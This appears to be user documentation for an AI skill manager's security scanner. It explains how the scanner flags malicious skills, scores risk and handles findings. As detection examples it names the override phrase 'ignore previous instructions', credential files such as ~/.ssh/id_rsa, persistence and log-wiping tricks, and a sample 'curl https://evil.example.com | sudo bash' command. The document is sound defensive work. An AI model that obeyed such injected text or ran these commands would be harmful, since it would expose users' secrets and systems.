Security

A skill is a set of instructions your AI will follow. A malicious skill can try to make the AI run a dangerous command, send your data to somebody else’s server or quietly change its own behavior. The onplate security scanner catches things like that before the skill reaches the AI.

What the scanner looks for

• Prompt injection — hidden instructions of the “ignore previous instructions” kind;
• Attempts to steal data — instructions to send the contents of files or conversations outside;
• Secret leakage — reading ~/.aws/credentials, ~/.ssh/id_rsa, .env, the Keychain and other key stores;
• Suspicious shell commands — anything that can delete files, download and run code or escalate with sudo;
• Unsafe installs — curl … | bash, pip install from an unverified source (supply chain);
• Persistence — edits to crontab, autostart or shell profiles so that the skill comes back on its own;
• Covering tracks — chmod 777, disabling history, deleting logs;
• Hidden unicode characters — invisible marks used to disguise malicious text;
• Base64 blobs — encoded fragments you cannot read with your eyes;
• Links to external URLs — weighed against your list of trusted domains.

The scanner also recognizes obfuscation — attempts to disguise a dangerous construct to slip past the check — and multi-line commands glued together with a line break, so that a curl … \ + | bash broken into pieces does not sneak through. Such findings are marked separately.

The score

Based on the results, a skill gets one of these scores plus a numeric risk from 0 to 100, and next to it the scanner’s confidence (high / medium / low: where a heuristic or obfuscation was involved, confidence is lower).

Score	What it means	What to do
Safe	No findings, or informational ones only	Use it without worry
Suspicious	There are places a human should look at	Review the findings
Dangerous	Dangerous constructs were found	The install will require an explicit justification

Above the list of findings are two summaries: external addresses (every host the skill reaches out to — you immediately see where data could go) and capabilities (which tools and permissions the skill or subagent asks for).

What a finding shows

A finding is not just a “bash” label. You see what exactly triggered it:

• What triggered — the evidence line in full: the real curl https://evil.example.com | sudo bash command, not an abstract category, with the dangerous fragment highlighted inside the line;
• The level — info / warning / danger — and the line number in the skill;
• a short explanation in plain language of why this counts as a finding at all;
• What to do — a concrete recommendation for removing or defusing the construct.

Findings are grouped by meaning (injection, secrets, commands, persistence, network, capabilities…) so that similar ones sit together. Dangerous lines are highlighted in red right in the text of the skill.

Where the check runs

The check is built into every place a skill enters the system:

• when adding and in the Marketplace — automatically;
• when installing a dangerous skill — a justification is required;
• in the Security section — by hand.

The Dashboard always shows how many skills are unscanned or need attention.

What is on the Security page

At the top are the two actions people come here for:

• Scan a skill — pick a skill from storage and press Scan;
• Scan arbitrary text — paste somebody else's skill into the field and press Scan text. Handy for looking at a skill before you add it at all.

Below are four collapsed sections; each one states in its header what is inside, so you rarely have to open them:

Section	What is inside
Trusted domains	the domain list and how many there are
Muted findings	how many rules you decided are never findings
Dismissal analytics	how many rules you have dismissed findings for
Master key	encryption of stored marketplace keys

A section with an error opens by itself — hiding the fact that the domain list failed to save would be dishonest.

Working with findings

Scanners over-report sometimes — that is normal. Every finding can be dealt with:

• Accept the risk — “I saw it, I understand it and I am deliberately keeping it” (you can add a comment explaining why);
• False positive — the scanner was wrong, this is not a threat;
• Never count as a finding — for a rule that is noisy across the whole catalogue rather than in one skill. Such a finding is marked “muted everywhere” and stops counting towards verdicts anywhere until you press Return to findings.

The first two apply to one entry, the third to the whole catalogue. Every muted rule is collected in the Muted findings section on the Security page, so the decision does not get lost.

Marked findings stop affecting the score but stay in the history: the skill card gains a “Reviewed by user” note listing the threats that were dismissed.

Scanner rules get stricter over time. If your old acknowledgement no longer covers a finding after a rules update, it is marked “acknowledgement outdated” — press Confirm again or Restore the finding. The Acknowledgement analytics block shows a summary: which rules you dismiss most often.

Trusted domains

A list of domains whose links you trust (one per line). Links to all other domains are treated as more suspicious. An empty list disables the policy — every link is treated as informational.

The master key

Marketplace API keys and MCP server secrets are stored encrypted. The Rotate master key button generates a new encryption key and re-encrypts everything that is stored — useful if you suspect somebody had access to your computer.